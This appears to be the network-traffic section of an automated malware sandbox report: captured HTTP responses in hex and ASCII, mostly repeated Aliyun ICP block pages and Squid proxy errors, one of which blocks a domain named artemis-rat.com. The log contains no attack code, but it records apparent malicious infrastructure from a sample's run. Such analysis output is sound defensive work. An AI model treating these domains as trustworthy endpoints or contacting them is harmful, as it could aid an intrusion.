Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.27Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:42 GMTContent-Type: text/html;charset=utf-8Content-Length: 3938X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:43 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:43 GMTContent-Type: text/html;charset=utf-8Content-Length: 952X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/htmlCache-Control: no-cacheX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Length: 4872Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 